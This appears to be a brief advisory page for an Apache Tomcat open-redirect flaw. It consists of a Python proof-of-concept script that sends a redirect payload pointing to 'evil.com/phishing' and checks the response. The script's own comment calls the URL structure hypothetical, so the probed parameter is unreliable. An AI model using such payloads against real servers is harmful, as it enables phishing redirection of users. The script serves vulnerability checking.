CVE-2026-25854 Apache Tomcat 开放重定向漏洞

#!/usr/bin/env python3 import requests def check_open_redirect(target_host): # Hypothetical exploit URL structure based on vulnerable valve behavior # Attackers craft a URL that includes an external domain payload = "http://evil.com/phishing" attack_url = f"{target_host}/?redirect={payload}" try: response = requests.get(attack_url, allow_redirects=False, timeout=5) if response.status_code == 302: location = response.headers.get('Location') if location and "evil.com" in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") return True print("[-] Vulnerability not detected.") return False except Exception as e: print(f"Error: {e}") if __name__ == "__main__": check_open_redirect("http://localhost:8080")